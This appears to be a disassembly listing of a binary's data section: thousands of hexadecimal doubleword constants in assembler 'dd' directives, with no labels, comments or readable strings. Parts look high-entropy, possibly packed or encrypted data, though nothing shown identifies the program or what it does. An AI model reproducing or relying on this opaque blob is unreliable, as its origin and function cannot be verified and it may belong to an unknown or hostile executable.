dd 3029407Eh, 57E05D7h, 5BC19F9Bh, 0FE20A663h, 5728E7AFh
dd 538A127h, 0B9E11D2Eh, 0E741B26h, 0CA4433F5h, 0B52008DAh
dd 4EF02C74h, 3596FD98h, 683B03E5h, 0A4732E85h, 34880E0Dh
dd 145B3608h, 77181011h, 1D551014h, 2B41B7F2h, 4ACA271Dh
dd 6DD2105Fh, 604F014Fh, 0E4892726h, 0A722EF2Eh, 84C2F65h
dd 77333336h, 0FC2DF536h, 0F1BF38FCh, 56209C30h, 1B41FC68h
dd 5055B809h, 2636474Fh, 40632928h, 2D4C2D23h, 4242596Bh
dd 3C564052h, 0CD3AFA5Fh, 4B6C1C3Ah, 8D12695Ah, 0A8226BD7h
dd 365001F3h, 265A20F6h, 2C9C58EAh, 2291E45Eh, 3FCB6B83h
dd 66514623h, 60625318h, 0DCEDAB31h, 22AF1FA5h, 7D23DB13h
dd 23042983h, 2E93B729h, 0BB2F13E1h, 343B34B0h, 0C0B43637h
dd 0B67D4EC6h, 736E35ACh, 0E0481F7Eh, 21022AF5h, 44EE06E4h
dd 292A21F9h, 0C7787D7Eh, 3552102Eh, 0B43053F8h, 592AFDF4h
dd 6E3B1D3Ah, 0DA1FDE73h, 0EAA5A219h, 0CE737425h, 2CE908CBh
dd 28FEE805h, 34F532EDh, 6733FCBFh, 80D1CC61h, 0AA063AFAh
dd 0AA202304h, 91E1B22h, 6C1A0D1Ch, 0C0166818h, 2D136D14h
dd 31330F2Fh, 36347B33h, 0D0905FDh, 66901BFh, 27D004ABh
dd 1BF825C0h, 182C19DBh, 144A1A7Eh, 10A1165Eh, 0CDC12E9h
dd 9140F34h, 57D0B0Dh, 71B60782h, 9FD76E00h, 3E926DFDh
dd 0DC7320C2h, 287B131h, 0CAA946A8h, 0A639EF06h, 48DA6375h
dd 0B2A60C04h, 281A4DF8h, 5E5DD53Dh, 32081833h, 70714C1Eh
dd 710D04Bh, 0C27C2857h, 3EAC375Ch, 0A763893Fh, 75DD1BB2h
dd 8A2D3A17h, 583F2839h, 75912BB0h, 0C8DFE0B5h, 25AA4786h
dd 288CAA0Ch, 2ADAB2Fh, 30BCA29Ah, 30364637h, 38523DB4h
dd 3FDC0118h, 2A8D1D1Ch, 361E9C1Bh, 256AD609h, 0A7FDD033h
dd 2CF3BA11h, 0A5454E05h, 0B54B24F0h, 40582637h, 0DC1643ADh
dd 1CBF503Ch, 61CF7275h, 2E38A059h, 4026342Eh, 9822A829h
dd 4EE8453Ch, 5C4052D0h, 9829353Eh, 14329630h, 37913593h
dd 16B014B4h, 703E125Ah, 49563446h, 2EA5E4Bh, 8F362C21h
dd 20337C9h, 26E91403h, 0DA399C38h, 0E3E3C33h, 1DF81B9Bh
dd 852D3B1Dh, 2A34CB22h, 29C42782h, 8C273B29h, 0C1B81F2Eh
dd 1168D522h, 1ABEDF2Eh, 9278180Ah, 0C2EB42Ah, 707D01FDh
dd 75371431h, 3865B677h, 7F892877h, 45448Dh, 62622264h
dd 0DA61DE66h, 7C479A48h, 1BA7364Dh, 0B2EAC1Fh, 3B70104Ah
dd 0F6DB78CCh, 5EA23938h, 296EA632h, 745BD960h, 3336D5C9h
dd 3B3CFE20h, 2938AFB8h, 5E449515h, 662AB03h, 0D0532A8h
dd 0A7A28AEh, 28A6195Eh, 3A1B607Ch, 74ECBDDBh, 0CAB2480Eh
dd 7E433ED3h, 970C913Eh, 213625D4h, 0EE1E3F57h, 79A23352h
dd 2CAC2A28h, 3F452E78h, 3734F3B1h, 33AF1B5h, 3DDC4EF1h
dd 19F0FF0Dh, 0F89CDE06h, 3782DDABh, 0A42DE122h, 3BCBA60Dh
dd 2F2D682Fh, 33FC2C6Eh, 26E231FAh, 393B3C66h, 735E3E44h
dd 3F247273h, 232A5205h, 27877C27h, 587F0909h, 66072D35h
dd 0B1AC3974h, 56666935h, 3B69C979h, 52575C34h, 0A8181EF9h
dd 922B204Ch, 79456A76h, 9A449F2Eh, 227C2C1Fh, 83332247h
dd 8E653F53h, 3839296Fh, 0D6303E72h, 4E0C5A3Eh, 762D6F4Bh
dd 4AA44B6Ah, 3856A727h, 3E5641BAh, 0BFE027EEh, 0F9E4FFB6h
dd 985D69BBh, 0F6B73A99h, 1D6F5CD6h, 841E6FA8h, 2550046Fh
dd 297368CDh, 232B7A89h, 0CF2F212Dh, 343C323Eh, 3838363Ah
dd 3C343A36h, 1B303E32h, 101E12E3h, 2C222E20h, 28262A24h
dd 242A2628h, 2F21D22Ch, 333D313Fh, 3739353Bh, 3B353937h
dd 30C13D33h, 111D131Bh, 2D212F1Fh, 29252B23h, 0A8782727h
dd 2D2D8F7Ah, 9B3224EEh, 0AC9622A3h, 694C2D86h, 3EFFAA23h
dd 0BECF5C95h, 3820DD97h, 0F7583B16h, 73EF5E26h, 3513B745h
dd 313F4891h, 830F3AA1h, 0AB31A891h, 1F3C2333h, 0BC1E390Fh
dd 11C0C14h, 7C9AC26h, 28D62207h, 0ED3ED50Fh, 0EB1C7236h
dd 0E183B401h, 381B3725h, 5A110A19h, 5A0B3E7Dh, 0F7F591Ch
dd 23F62416h, 1F26E425h, 0EB1029E9h, 52EEC2Fh, 0D32700Ch
dd 76763575h, 61C57B38h, 1B318DE9h, 75DD19BAh, 48215137h
dd 27950089h, 73E3BF75h, 863C2CFBh, 923030FAh, 0B63539FAh
dd 1C3D3866h, 3E20698Eh, 5BD9DA08h, 0AE4366B5h, 0CD4C09AAh
dd 292D7FA6h, 0A72A7A28h, 1A367E36h, 31341813h, 39A60744h
dd 0D05383Ah, 2A2A3D3Eh, 211F265Dh, 82AA1B10h, 6B21864Eh
dd 2A4B3B37h, 83216EE0h, 8499C71Ch, 0BE5DBF65h, 3BBB283Eh
dd 0B638B2ACh, 97A7309Bh, 0DAB6727h, 0A73522A2h, 0A77F3F2Fh
dd 5203AA2Bh, 177E36B8h, 325C8104h, 3AC82FF9h, 2B39BF65h
dd 7771B9Bh, 242E2796h, 82680773h, 54AA4E2Eh, 5B2D2D2Dh
dd 7FBB0Eh, 0BE643759h, 0DF752DC8h, 6C0F6A3Fh, 0AD201FD5h
dd 5E20DD1Fh, 24243C1Fh, 29A37226h, 45D341C6h, 3173948Eh
dd 94503232h, 5D683336h, 3D193BB3h, 4F7BC3Ah, 5C14484Eh
dd 560344A1h, 6E44A02Fh, 7C2B4A7Bh, 3C273BD2h, 2CA230EAh
dd 0B14F3CD5h, 0D4B30C7Ah, 1AFF40DCh, 3F86F5D2h, 6A632025h
dd 0A22DCD60h, 1B19D6D6h
dd 128A45C1h, 32323501h, 139299BDh, 0B23CB98Ch, 4D4BDD50h
dd 1E7E3BABh, 44237E1Dh, 43A54151h, 289D2A27h, 21FD5E58h
dd 302DC00Ah, 0C7373441h, 4E5F3077h, 31CD5339h, 7E7A1973h
dd 52227072h, 27732162h, 4C584840h, 2C2C452Ah, 52472DF1h
dd 31A53241h, 5F3A6E34h, 6D484E4Ah, 4F473F5Dh, 47077175h
dd 6B634C54h, 7F0770E5h, 2C592C48h, 5C2E6E02h, 1457405Eh
dd 51537325h, 59023B4Dh, 786F594Fh, 5C45121Ch, 29A51B2Ah
dd 2D6B8E1Eh, 6D213568h, 452E7F30h, 31633163h, 65043959h
dd 757F6F79h, 77DF1D6Fh, 3E0E115Ah, 1E1E6055h, 259ACA8h
dd 262EA933h, 35ED2EC3h, 0DA39BBBFh, 0B3289499h, 1A30F9F7h
dd 87D5154Fh, 11025992h, 71EECF95h, 22427CCAh, 692D07F1h
dd 72E40B62h, 0F16EEF1Dh, 253CF151h, 0FCD03636h, 2D4A365Bh
dd 5C7C3D69h, 547A5970h, 2C474D6Ch, 9424A50h, 414A6471h
dd 486A2E48h, 713B3270h, 5509435Bh, 3DE86A7Dh, 1A076E8Dh
dd 4F1D1DFCh, 73637220h, 6B620B6Dh, 45EB9064h, 0A65D705Fh
dd 0BAE23194h, 146C240Bh, 0A807B3B8h, 1BB72A3Ch, 1E8C2916h
dd 37F1CDA6h, 0AFADEC08h, 2AFB632Ah, 0FF2E2C36h, 0C1BAB013h
dd 4BB8EDB8h, 7A7BA943h, 0BDF6B79Eh, 20FF6FFDh, 0E30C1D2Bh
dd 0A60E2F21h, 19A122E4h, 1D31A11Bh, 3B402FCFh, 934BE12h
dd 33C7BF1Ch, 291A3B35h, 2259D6BAh, 0BC521A4Ch, 200214C8h
dd 2C05EFFDh, 203C9EC7h, 609ED5F1h, 0F01934A3h, 9A273694h
dd 3C9B8E39h, 0DFBF1BC2h, 0A71F1FC5h, 20033730h, 240099B2h
dd 2AFE0E55h, 0EF490E08h, 0A1620B35h, 37BFA636h, 73B33D70h
dd 3376B434h, 0E2122318h, 6CAA2866h, 23747427h, 5B2D3A07h
dd 0A5296A19h, 19313C79h, 0F7FBBFE3h, 1A6B3ACDh, 5404D46Bh
dd 5B837AC0h, 67A9DF1Ah, 2962AA2Ah, 2DD790E1h, 7C242A2Bh
dd 44E2AA2Ah, 37450031h, 59331896h, 6D3C9A0Ch, 49183FFAh
dd 6C3B4A14h, 2D1134E0h, 33002907h, 0B8670E65h, 76C7223Bh
dd 0D43FF208h, 3466B216h, 0EC7F36FEh, 19555A19h, 7FC2097Fh
dd 81217715h, 2A257140h, 287E2FC0h, 8E2D7D21h, 91DA3860h
dd 670F65CFh, 38E80950h, 693DE132h, 1B1ECE39h, 35200808h
dd 3A26FDBDh, 0F897C0F3h, 2DFF1828h, 451852FEh, 21D0703Ch
dd 507E3BE6h, 5D2A3972h, 291FA99Ch, 0A2C8020Dh, 971C2090h
dd 9ABE2525h, 0B60A629h, 368C2F97h, 0DD2E33C1h, 39CA65BCh
dd 243CCF49h, 1CE97DD6h, 20EB343Fh, 0D611CA39h, 7921C725h
dd 0C43C2ADAh, 0A82FDC0Fh, 202532C5h, 38C524DDh, 293BCE76h
dd 0E97A3CD5h, 1FEA1B1Ch, 11D0C934h, 22849877h, 0C33929DBh
dd 2E9ADFCEh, 32F69B31h, 3637E135h, 0D13B38DAh, 0C7943C3Dh
dd 9F1B1D1Ah, 2320320Dh, 8C242507h, 6A282915h, 2F612D2Ah
dd 33306C2Eh, 37345A99h, 0A23839B3h, 3F9B3D3Ah, 1CA8513Eh
dd 2020D31Fh, 52E5DB4Bh, 4AE9B228h, 0EDAFAA8Ch, 0DF346926h
dd 61CFF231h, 69B3D357h, 0EE73B6D2h, 481D314Dh, 0AB1B3A1Dh
dd 0ED107420h, 131526AEh, 0B82474EFh, 0F1ADA4ECh, 626041ADh
dd 18CEBD62h, 0BC37BC0Dh, 3B061F0Bh, 7F444DF4h, 0CBEA292Dh
dd 0D70F2443h, 2B25C17Eh, 960F2D24h, 3319FD32h, 331271BFh
dd 0F3A4D70h, 77244974h, 1E96486Eh, 20BC3012h, 0D220E322h
dd 2B2BB427h, 0C62E2C2Fh, 0CC129027h, 3F08DFCCh, 10393F1Dh
dd 3E28732Fh, 371F3D15h, 2783DF2Dh, 260823DEh, 528261Eh
dd 1D2C897Fh, 93042F8Ch, 35960B32h, 399A620Ah, 793C997Ah
dd 0BE533F9Ch, 824A821Dh, 24817221h, 70278471h, 79772A8Bh
dd 924F2E8Fh, 34915631h, 5437945Dh, 4C3B986Ch, 0B94B3E9Fh
dd 4BDC651Ch, 2380745Ch, 1826C7A0h, 2B152A28h, 0A47B2D18h
dd 5BCD5BDCh, 74840534h, 9A5E3838h, 6F3A1D3Ch, 0DE38957Fh
dd 2229CC78h, 0AD727270h, 28F1F81Ah, 4BA42D2Bh, 0F5C0BBDFh
dd 36C93476h, 91BFB233h, 0BA3D3F3Bh, 75156EFFh, 21201CF6h
dd 858EDC20h, 0AC8027A3h, 2DA99B2Ah, 9B30AA96h, 0FD34B6F2h
dd 0BCE837B3h, 3DBCE33Ah, 0C3C5DB5h, 264ADE03h, 35BB2321h
dd 28678D00h, 0A938281Bh, 30AA352Dh, 6233B712h, 0E837B71Eh
dd 3D3E0C09h, 5D3FBB03h, 511E98B1h, 922D21A1h, 958E7724h
dd 9A267A3Bh, 369CF32Ch, 3A7094C9h, 88255490h, 1631586Dh
dd 0BAEC3EADh, 0E8ED18B9h, 318375CDh, 2257501h, 2B38C186h
dd 2DDC0CA7h, 607AD968h, 9B1A5622h, 0EA615EE5h, 0A8AE3C6Ah
dd 0AF49E9ABh, 6628E602h, 0CD202115h, 4315C43Eh, 4D288D1Dh
dd 7D074F2Ch, 3A235234h, 895A2057h, 0D5F133D8h, 7D181F8Ch
dd 602C1D0Ah, 0CC258324h, 0F3EA6F2h, 8A414A43h, 0B3450E2Ch
dd 54353056h, 6777527h, 3B5CDC88h, 13FE54D5h, 67F6419Eh
dd 9DAC35D1h, 3A563E6Eh, 0A574F889h, 0B12E8C6Ah, 8D30909Dh
dd 22262BE5h, 2669B8F7h, 57961F7Dh, 1D9D1FF3h, 812010CCh
dd 0F5343272h, 626FA227h, 0A4273B8Bh, 35F620A9h, 31153633h
dd 0EB7B53Ch, 36DC040Ah, 6BD24B07h, 3D0C9F33h, 0A907A293h
dd 3CE93702h, 0ED383CEAh, 6162EB3Ch, 5D282472h, 3961F6EEh
dd 0E6CC7F13h, 0F70F163Fh, 0A4145B3Eh, 66672082h, 0F84F3E2Ch
dd 0E83B2363h, 5A4AA25h, 67610330h, 0A0F4E0CAh, 753B291Bh
dd 0BA8D6D2Dh, 0BEB6BCABh, 9FDA7B8Dh, 46266A85h, 86628893h
dd 7C2A358Dh, 643ED165h, 0BC6273BFh, 0B06A7738h, 41B3656Ah
dd 4F4D1C20h, 0AFEEAB4Dh, 0AB05357Dh, 30C10E49h, 0A57D5CEBh
dd 20D9FB67h, 0CA5D34D2h, 9EF4B895h, 3E32C8D3h, 1D131B30h
dd 49DF75D2h, 66A14C22h, 884C2626h, 7D282B2Ah, 3115A64Ah
dd 0D934B036h, 6F6D642Ah, 3C6BE009h, 40925A6Fh, 39F70E39h
dd 7953238Ch, 95670251h, 2C282A28h, 5CA6DD16h, 21460615h
dd 437C6B4h, 4D18B16Ah, 0D89D2A32h, 1F7C0A95h, 33189F68h
dd 14672254h, 0AA37FC29h, 0C911AE0Dh, 317F51CFh, 5031F235h
dd 4A386F7Bh, 3E76423Fh, 0CFB3268h, 222E2FA0h, 34BD242Ch
dd 4021344Dh, 0EAC0619h, 0F40A104Fh, 0B43A3246h, 0B1685871h
dd 0D6341EF4h, 8D7D8E21h, 73BABE0Eh, 0E55A0DE3h, 39FC8D82h
dd 30866A7Bh, 0F1BB032Eh, 37AA331Bh, 0FF3D3663h, 0F9BF6565h
dd 137A7036h, 9A9F0640h, 252328A1h, 84773EE5h, 962B53C1h
dd 9227248Fh, 0C53F83Bh, 15079666h, 6C69366Dh, 3A3F636Ch
dd 0C5F61C54h, 0C210112Bh, 0B3150924h, 93A7C179h, 0D1C83E2Ch
dd 27F6B2CFh, 137A35B9h, 0D197D118h, 6F3EC2C2h, 4AF5D290h
dd 23DEDEF4h, 0FEAFA422h, 6A0D6CE1h, 0C62CBC2Bh, 7233D7C7h
dd 5D58F33Bh, 5F5F5552h, 4E7D0F4Ch, 1D2B790Ch, 43260F18h
dd 40574262h, 68584A7Ah, 0E92D282Ch, 45517F40h, 5831335Ah
dd 7AF84438h, 458C2BABh, 783E4851h, 6D0F465Ch, 4B514148h
dd 8F53EEF5h, 236F57E9h, 5959681Dh, 7ABE6A91h, 122BD62Ch
dd 73891A29h, 5B113F9Fh, 0B1F0D3Eh, 22A063C8h, 2527A467h
dd 0AB551CC0h, 0CF9DAC2Dh, 0D181F441h, 3EFFAA46h, 0A7100929h
dd 0B41AF8B2h, 0C8FC19DEh, 1ECB044Bh, 0A37D2666h, 4C88C2E2h
dd 2D28B02Bh, 0BB39D20Eh, 3EBE2C7Dh, 0CAB01064h, 0B7117F9Fh
dd 96305B79h, 6FA92B55h, 250C8022h, 0A01049AFh, 6EA76B44h
dd 0FC0B132Eh, 400875BBh, 57013738h, 6354E16h, 191B4AFBh
dd 0CB2F7094h, 6070A927h, 8CC7AF15h, 7C670EADh, 0B37F7129h
dd 2550DA30h, 1CBB9D54h
dd 6C337A09h, 6DFDA19Ch, 4E4E1F5Ch, 0E30243C8h, 0AA2639A4h
dd 2BE90DBCh, 69467D2Fh, 17A510D4h, 0EF23CA88h, 133F23D8h
dd 9E3D3DACh, 38BD4CB5h, 4A857057h, 4E3EA447h, 7B1C490Fh
dd 48650B68h, 13E13112h, 2785BDB6h, 5B0466BCh, 0FF58FD28h
dd 250A4B0Fh, 0F1701F7Eh, 0F2DB2248h, 39DE17F7h, 4D3B7B28h
dd 0D9667E1Eh, 1541A3EAh, 0DAB6B337h, 50713A1Ah, 9814541Eh
dd 2192F3Ch, 0B0B6473Ch, 28D76601h, 0AD972843h, 0AFAFAF74h
dd 4A7DBF61h, 6C37E2DDh, 33FBBF59h, 213FB7B8h, 5652AF99h
dd 722393A0h, 6D5F97A4h, 3ABE3EA8h, 0E7A5B5ADh, 23813562h
dd 0B73700DCh, 0DDD26932h, 0BCC1C370h, 9F15D87Fh, 20E1A4A9h
dd 9C492197h, 2A886D25h, 0A5F8172Bh, 40FB47DFh, 0C8B4343Bh
dd 3A367A77h, 0FE3D4B3Ah, 4F78716Ah, 23A7F748h, 0AE259392h
dd 91FD1CEEh, 0B2CC284Eh, 40474AAEh, 0CCB73640h, 304B6716h
dd 3C3F7082h, 6B4FEA05h, 671E3F40h, 2612301h, 0F3006F24h
dd 52A7F76h, 0E02E6F89h, 758F3373h, 7AA2F334h, 3D7A4E38h
dd 1F3E7C87h, 0B51F5DFBh, 6F23638Fh, 65822465h, 2F2BFD29h
dd 2E6CB486h, 0BD309004h, 66DA3596h, 99B91339h, 3E6F213Ch
dd 0A61DBC63h, 0C3341A47h, 26CD1424h, 0A32A28D0h, 8CC5246Dh
dd 4435702Eh, 0E65E5C37h, 0D27DF21Ch, 3239BDD9h, 199F24D7h
dd 23B71FE4h, 25E9CB6Eh, 0F2281625h, 2D283B42h, 31CF7C2Ch
dd 63F7BAE2h, 0B02841BDh, 0FC85FC3Eh, 42BFCC3Dh, 701FDE2Ch
dd 521F7271h, 892FA62Eh, 0A7EB1628h, 348533E5h, 9D712FF0h
dd 34973339h, 9637975Fh, 90339671h, 5D9211BDh, 17C39922h
dd 51EE1E54h, 482E6D2Fh, 4F2B2D68h, 0B633B131h, 1372F2F4h
dd 3FBA392Ch, 3F8AB933h, 1D3FA118h, 2DDECB73h, 29252B23h
dd 25292727h, 212D232Bh, 320B6A2Fh, 3275F3F2h, 3AFE3C37h
dd 90FE393Fh, 19384F3Eh, 2920F39Dh, 0AE72E311h, 29A370D7h
dd 0D2E5A8D0h, 0E0C781DCh, 4747A14h, 9BD0A636h, 35B7037Ah
dd 1292603Eh, 62454E96h, 2B791D20h, 27272925h, 2C24D529h
dd 30202E22h, 343C323Eh, 3838363Ah, 3383A36h, 177C0E73h
dd 9CE0964Bh, 10DD21E9h, 0D088D7E4h, 0D4BA78F9h, 0CFF4E539h
dd 23B9E17Bh, 36443485h, 0FB0929B1h, 3E3AF9BFh, 9C871DDAh
dd 0F2625005h, 202C7021h, 18A596CFh, 199C042Ah, 98D9322Eh
dd 38C23503h, 0FF2FFA4Bh, 692732D8h, 0B9389738h, 266617FDh
dd 0D9CC2B1Ah, 29C90F67h, 0C5252F5Bh, 20F00CF8h, 0E2942340h
dd 294A3F33h, 450E3C79h, 0BB12ED6h, 8B1CF614h, 0FF23D136h
dd 7C127C5h, 0DC2AAA86h, 34AEE102h, 0FF250231h, 2ED873D5h
dd 302DCE02h, 0F19C1FD5h, 1231F50Ah, 342027C8h, 0AF31231Bh
dd 2129C126h, 75C6203Bh, 14833FB1h, 7EDE3923h, 2C7F3B3Ch
dd 3DD67705h, 48429C75h, 0CBC9EF94h, 2125ADB1h, 2692060h
dd 0EEA46433h, 0BD31D52Eh, 6D49B46Ch, 0AF667D6Eh, 0BE979D13h
dd 0C4B4F36Fh, 0E5211F1Fh, 0D52B4230h, 0B9BACF17h, 7C2C34AAh
dd 0F70081A7h, 9D168C0Fh, 1B9BDA14h, 0FDB8FA2Bh, 1CBB55CFh
dd 0F9B1119h, 75765C61h, 0A2CFAE4Eh, 2C3E2A73h, 4F6C2A2Ch
dd 6432C2B4h, 0E3055AC5h, 7CFB91D1h, 0F3D7B51Dh, 73EC782Fh
dd 34B4C934h, 94762754h, 736E2970h, 957DD7Ch, 0C32B1188h
dd 15891545h, 6FDBA4Bh, 11800E6h, 20572223h, 1C951EBDh
dd 190E1B27h, 292917BDh, 2F2D2F1Bh, 25323073h, 58051503h
dd 85094007h, 0D10DE10Bh, 5F2D390Fh, 0A3117D2Fh, 8315A913h
dd 97198B17h, 1C1DEF1Bh, 4102FD1Ch, 0AC07B701h, 79CDA805h
dd 0C335EA38h, 9D2B36E7h, 21361F77h, 6D3DF645h, 3F667232h
dd 0E283A17Bh, 270EAAEAh, 80246232h, 78A637CFh, 563F8934h
dd 93F16D7Dh, 89B0045Fh, 2A0320C0h, 0C7773CA5h, 32B86929h
dd 7ABFA94Eh, 0A3D3D935h, 0F04255BEh, 64CA3FF8h, 7D3F8D62h
dd 11A1E1Ch, 37003F3Eh, 2D950521h, 0A9497906h, 2D7A245Eh
dd 25D310CFh, 7EBE32B8h, 7E39B333h, 0F03E0E0Ah, 0D80D906Fh
dd 12E0DFEh, 1760A854h, 3BCA1E63h, 0B6AEAEDh, 8943AE3Dh
dd 4934830Bh, 193A689Bh, 3CB8D436h, 0A48F3F3Dh, 203DD21Fh
dd 0DC3EA972h, 292724FFh, 50A07D7Fh, 30913E09h, 35316225h
dd 393708B5h, 6B304E39h, 98ECC16Bh, 9A161DD8h, 0A23654E0h
dd 2726A5E2h, 3FD4A82Bh, 2F2F2FBCh, 0B8CDD34Ch, 5D613172h
dd 6E6A7932h, 0E42E28C3h, 1F0D40DAh, 0A92517DFh, 0ADD80FDBh
dd 3A0D2873h, 0F92EC328h, 0BB33EF04h, 73F33673h, 74B23A37h
dd 68B6383Bh, 36D31833h, 0E1A51FC9h, 0AC206DABh, 26202B70h
dd 6D2CACAFh, 3E302ED5h, 3A343C32h, 39374836h, 3D333B35h
dd 1C143F31h, 0E7601E12h, 2C6D22ACh, 0F46E6FCDh, 0D3D42A91h
dd 0F371E8A6h, 3832FEA1h, 30F6B535h, 0C37C14D0h, 1FAFC131h
dd 7562101Ch, 23CA49DFh, 262666A8h, 2F2A884Ch, 2FC67D2Ch
dd 0CCCC165Ah, 0B239EEB0h, 3B3B5838h, 3E3E553Eh, 0DA1D4D2Dh
dd 22057492h, 0AC2576A9h, 0D40260F0h, 72532ED4h, 0CC4F3027h
dd 66933432h, 0C41637DFh, 0FA89BFC4h, 379C1D3Bh, 51259F1Eh
dd 0F542266h, 0B6102776h, 3DC6132Ch, 0F602B9A9h, 7A33253h
dd 0ABF0D0E2h, 0FAD3708h, 8F1B8FA4h, 0B2604C1Bh, 0B0B55727h
dd 1AB26817h, 189B5177h, 0D0321CB5h, 853D0372h, 0F6A1665h
dd 0CD31AAD6h, 19301F3Ah, 1E1E3B04h, 0C5C112A3h, 3FE2A65Ch
dd 0C32ACFFCh, 0D0D3C769h, 33FDBA60h, 0CADE6DDCh, 34FABCC7h
dd 3FBAB83Ch, 0F61E7618h, 0DFC820C1h, 22E1A7DCh, 542DE8A2h
dd 0F5372C62h, 0B9CECDDDh, 0EF03073h, 3A383AAAh, 0C13D6C2Fh
dd 1FC0632Ah, 21484F1Fh, 2560655Ah, 7CA3AA27h, 7E2D2B2Ah
dd 0D9602DA5h, 0C930DED1h, 0B26877C9h, 62CABECAh, 6DBE64F8h
dd 13410CF5h, 3B23C0E1h, 2838756Fh, 3B5FBAA7h, 133E1E2Eh
dd 55DA580Fh, 7B36360Bh, 0AEB62A75h, 80235378h, 0DF27BF17h
dd 3C623920h, 0CC1FA02Ch, 0B635A12Ah, 0BE8017A1h, 330ADC0Ah
dd 7555DD0Ch, 3D4F9927h, 0BD60FD0Fh, 89999A2Bh, 0E22567C8h
dd 2E3E24B2h, 6A0DBE25h, 5286EA5h, 26B065BAh, 0AA219E20h
dd 0D6B82CAAh, 3E3C302Bh, 2E0A1B3Dh, 0A70495D7h, 0A6E4A32Eh
dd 0AC08D8FEh, 22A824EAh, 115A202Eh, 1157B39Bh, 0C527F761h
dd 7DC8BC78h, 791B1E3Fh, 1DFB7631h, 0DB723721h, 0ECA4F145h
dd 0B2ABA33Dh, 20CF25ECh, 8F313230h, 1C4396F4h, 3BF82B2Dh
dd 5A3E3E57h, 19971514h, 0D336E025h, 0DFE61724h, 0A05D628h
dd 2F212D23h, 333D313Fh, 3739353Bh, 17FC1B18h, 9DFFBD1Ch
dd 8E2138AFh, 7A2D201Fh, 22CCAF74h, 2108A852h, 9A59363Bh
dd 3291040Bh, 0D6249403h, 9BA93ABBh, 0B5C5792Bh, 5900FB77h
dd 2E20E137h, 0DA242C22h, 29272729h, 2D232B25h, 313F2F21h
dd 18F43339h, 3A388536h, 55F5BE69h, 1C741DBEh, 59B7A731h
dd 0B12C2271h, 9FCFE5B5h, 7F1F2AF7h, 3204FA7Eh, 0F65C912Eh
dd 0FCB43535h, 139B1F2Dh, 1763DF66h, 12457F99h, 513E06A0h
dd 7520E45Ah, 0FD57F78h, 294E2939h, 3DF32CBBh, 0E4CCCA62h
dd 0EB167E68h, 0DE230D3Bh, 0DF308C1Fh, 2631CD02h, 3476B563h
dd 1D883123h, 0ACACABFAh, 636128E7h, 37353023h, 39F93C17h
dd 0BF2EECC2h, 4D2F9AFBh, 89485B4Ch, 0CD7133A3h, 0AA020740h
dd 8D38EF7Eh, 5B18AF26h, 0DC3CB359h, 57F84000h, 0FD88063Dh
dd 0CA263A3Dh, 1D1E8B1Bh
dd 0E1E2A11h, 29271B24h, 0E4635C9h, 39489E0Eh, 342D1112h
dd 5E14153Fh, 9A1DBAE2h, 0DD3C2AB4h, 56595408h, 36A1300h
dd 0AA864076h, 80897544h, 0AF754B25h, 7037B132h, 77B0D55Bh
dd 49924D07h, 30BF5655h, 1F1A3D1Dh, 4E092738h, 9C64514Fh
dd 45384A07h, 5D46AC59h, 56587873h, 0B6F05457h, 5B7D1811h
dd 0BA325B55h, 5D019BAFh, 2ED3242Eh, 4064A5A6h, 7ED777D8h
dd 782C5E5Eh, 0A3F4F91h, 2B40F452h, 398A4DEh, 3FC96C19h
dd 694C1B34h, 7FC09515h, 7AE022AAh, 561EE57Eh, 25215F21h
dd 3067790Dh, 0B9714708h, 0B123D64Bh, 8BB33667h, 0A4F5D63Dh
dd 0DB9DE2E1h, 0A874210Ch, 362E2ECh, 2F2A296Ch, 0D293CBC4h
dd 337CBCCFh, 8E676530h, 3B7E4850h, 0BBD63C2Ch, 0D19D1CA0h
dd 6E21ADE0h, 5AAC2C07h, 2AC16803h, 0D1D09422h, 58303045h
dd 325F2433h, 30782D5Dh, 383778C0h, 0AB165898h, 0A121DE0Fh
dd 24E53CA4h, 0E90532E6h, 236E002Bh, 74B82DEEh, 3034533Ch
dd 78535933h, 41327B32h, 5991317Ah, 0F08D1E17h, 0E4296774h
dd 6CEC2C64h, 266FFC23h, 28EB0BCCh, 143F7ADEh, 0B832723Eh
dd 6DF2E0Bh, 48C8D625h, 9BE1BDE3h, 0A36055E0h, 46662125h
dd 2BCA786Ah, 74D0C530h, 0B9E50C1Ah, 2FBA7764h, 0D3223AB9h
dd 2B381FFAh, 3D9DD36Eh, 3634600Fh, 3655AD7Dh, 0B21ECA4h
dd 0AE2F0E3Bh, 0BB2F6E30h, 0B6DE1FB3h, 4FC6C63Dh, 60623A3Bh
dd 0DE47DB0Ch, 357E5F93h, 12CCB71h, 0D271AE2h, 24ACFAAFh
dd 0E3F02760h, 6F647FBh, 6A351136h, 1FBCB3D2h, 471FA23Ch
dd 345A1EDEh, 2B57F0A4h, 0EFDFAD25h, 2F2F2A2Fh, 7EA62EE2h
dd 6F5D939h, 2C616661h, 3928203Ch, 0B93A2C1Dh, 8F1B0DBFh
dd 7D7D1975h, 0DE1A8720h, 0BD5D60Bh, 2F212D23h, 333D313Fh
dd 3739353Bh, 167E1EEAh, 0BE19E793h, 1DD14F7h, 0A974004Ch
dd 667272CAh, 2CC1302Bh, 0AE38CCF1h, 2714782Fh, 28763293h
dd 63F583Bh, 76880A3Ah, 1A9A4721h, 0C027977Ah, 0C52007h
dd 6329FE90h, 0F212CA8h, 513783B1h, 1D623494h, 21B9309Eh
dd 0A000DA3Eh, 51153898h, 0E1DB19BDh, 0C8167036h, 6E3E2694h
dd 7C068BB8h, 50E456C5h, 0C78F308h, 30F528F4h, 77AA361Ah
dd 4D3F54C7h, 1D5C1D46h, 0AB26306Bh, 0FF25D777h, 6D22E9ABh
dd 0EE2DC328h, 0A5443699h, 9BDE650Ch, 6094537Bh, 1B6A3B32h
dd 1F96181Bh, 0A9E81349h, 0E01E2411h, 0EBBD2779h, 7F7DEDA1h
dd 66CBD8B7h, 2F35B2F1h, 7E79684Fh, 6C153D3Ah, 0C6EC0EC0h
dd 0A1211E1Ch, 0E1A75829h, 5CEB1C2Ah, 2FAC0AA0h, 493E2F45h
dd 34746262h, 0CBD0073Eh, 196855FBh, 4E936F12h, 361F97F5h
dd 2433E6A2h, 7840062Dh, 0C0A57C1h, 0C0F362Fh, 9823B360h
dd 0E36CCDDh, 1E2B2A18h, 1E3F122Dh, 7D17F648h, 1CA13726h
dd 2B22C428h, 6BEAC184h, 9CF4ED43h, 6A3E08D1h, 2249423Ah
dd 5EB73937h, 8D2CFEF1h, 1F085201h, 0D1C97077h, 0D92175A1h
dd 5A28DB26h, 522C2C29h, 263332Fh, 79D04B3h, 0BC909E6h
dd 0C580E67h, 2FAE294Ch, 12B72C96h, 110F1704h, 1C671318h
